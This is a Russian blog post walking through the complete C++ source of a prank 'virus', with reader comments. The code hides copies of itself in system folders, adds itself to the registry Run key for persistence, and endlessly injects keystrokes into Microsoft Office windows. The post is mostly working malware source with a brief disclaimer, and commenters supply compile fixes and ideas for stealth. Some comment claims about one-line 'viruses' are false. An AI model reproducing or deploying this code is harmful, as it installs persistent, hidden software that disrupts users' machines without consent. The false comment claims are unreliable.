Меню
Категории
Еще один исходник вируса на C++. Шутка с MS Word.
28 марта, 2008 Вирусы

Еще один исходник вируса на C++. Шутка с MS Word. Сейчас по шагам распишем, как устроен этот шутник.

Подключаем библиотеки и создаем основные переменные.

#include <windows.h>
#include <iostream.h>

WINAPI WinMain(HINSTANCE hint, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{

HKEY key;
char sysdir[256],
windir[256],
myname[256];

Узнаем свое имя функцией GetModuleFileName. И узнает адрес папки windows и папки system32 функциями GetWindowsDirectory и GetSystemDirectory

GetModuleFileName(hint,myname,256);
GetWindowsDirectory(windir,sizeof(windir));
GetSystemDirectory(sysdir,sizeof(sysdir));

Добавляем к строкам содержащим пути к системным папкам имя нашего вируса, чтобы скопировать в эти папки себя.

strcat(windir,”\\internet.exe”);
strcat(sysdir,”\\internet.exe”);

Копируемся и ставим себе скрытые атрибуты

CopyFile(myname,windir,FALSE);
CopyFile(myname,sysdir,FALSE);
SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(sysdir,FILE_ATTRIBUTE_HIDDEN);

Прописываемся в реестр на автозагрузку

RegOpenKeyEx(HKEY_LOCAL_MACHINE, “Software\\Microsoft\\Windows\\CurrentVersion\\Run”, 0,KEY_WRITE, &key);
RegSetValueEx(key,”internet.exe”,0,REG_SZ,(BYTE *)sysdir,256);
RegCloseKey(key);

Ожидаем 2 минуты. Зачем не знаю:)

Sleep(60000*2); //Две минуты

Запускаем бесконечный цикл каждые 10 секунд. В цикле ищем окна содержащие в своих заголовках Microsoft Word, Microsoft Excel,Microsoft PowerPoint. Максимизируем окно, переключаем раскладку клавиатуры на русскую и эмулируем нажатие на несколько клавиш. В результате в окне пользователя в WORD сам по себе печатается текст “Вы ламер”.

int k=0;
do
{
if (FindWindow(NULL, “Microsoft Word”)!=0 || FindWindow(NULL, “Microsoft Excel”)!=0 || FindWindow(NULL, “Microsoft PowerPoint”)!=0)
{
ShowWindow(FindWindow(NULL, “Microsoft Word”) , SC_MAXIMIZE);
LoadKeyboardLayout(“00000419”, KLF_ACTIVATE);
Sleep(10000);
do
{
keybd_event(‘D’, 0,0,0);
keybd_event(‘D’, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘S’, 0,0,0);
keybd_event(‘S’, 0,KEYEVENTF_KEYUP,0);
keybd_event(VK_SPACE, 0,0,0);
keybd_event(VK_SPACE, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘K’, 0,0,0);
keybd_event(‘K’, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘F’, 0,0,0);
keybd_event(‘F’, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘V’, 0,0,0);
keybd_event(‘V’, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘T’, 0,0,0);
keybd_event(‘T’, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘H’, 0,0,0);
keybd_event(‘H’, 0,KEYEVENTF_KEYUP,0);
}while(1);
}
}while(1);
}

Вот и весь вирус-шутник. Вся информация предоставлена исключительно для ознакомления и не может расцениваться как руководство к написанию вредоносных программ. Исходники оригинального вируса были найдены в сети интернет и комментированны мной в целях повышение уровня знаний пользователей при борьбе с вирусами.

12 комментариев
  1. круто..взяла почти все))

  2. я знаю такой вирус:
    int &r = 0;
    вот и все может стереть все файлы на диске но не каждый компилятор скомпилит

    а есть ещё такой:
    char a[5];
    a[6] = ‘b’

    может привести к поломке системы

  3. jojo97 нехрен писать тут когда обкурен.

  4. Лучше бы на дельфи 7 этот исходник выложили!!!

  5. Я уже весь инет перелопатил в поисках толкового описания работы с реестром через С++ кучу примеров перепробовал) может кто нить подробно написать что нужно вписывать в действия кнопки чтоб при нажатии на него вносились изменения в реестр??Буду очень признателен)

  6. Петрович

    Тут чё-то совсем не то.Поставил этот код в компилятор а он пишет:”cpp:6: error: ISO C++ forbids declaration of `WinMain’ with no type”
    Кто-нибудь знает чё делать?!

  7. Автору мэни фенькс за такой интересный исходник, особо порадовала находка эмуляции нажатия клавиш!=)
    P.S. Бесконечный цикл грузит CPU на 100%.Еще не организован Stealth-Mode. Впрочем, кому надо, те поправят.

  8. Петрович перепиши так:

    int WINAPI WinMain(HINSTANCE hint, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)

  9. int &r = 0;

    и ,как это сотрёт все файлы системы, это же посто обьявление указателя на переменную типа int ?

  10. char a[5];
    a[6] = ‘b’

    да и это не лучше, просто возможно затрёт килобиты памяти, хотя хрен его знает, я всегда проверял код,чтобы не было выхода за пределы массива.

  11. Этот исходник написан на языке Си, ничего от C++, ни классов, ни шаблонов тут нет, грамотеи. Вот в частности из-за таки как Вы большинство быдлокодеров навсегда остаются на на одном и том же уровне развития, т.к. ничерта не понимают где использовать C-style а где C++-style.

  12. дорогой анонимус, я писал это когда мне было 18 лет и я учился на 1 курсе университета. так что заткнись и не пизди. есть статья поинтереснее/? – присылай разместим

Добавить комментарий




*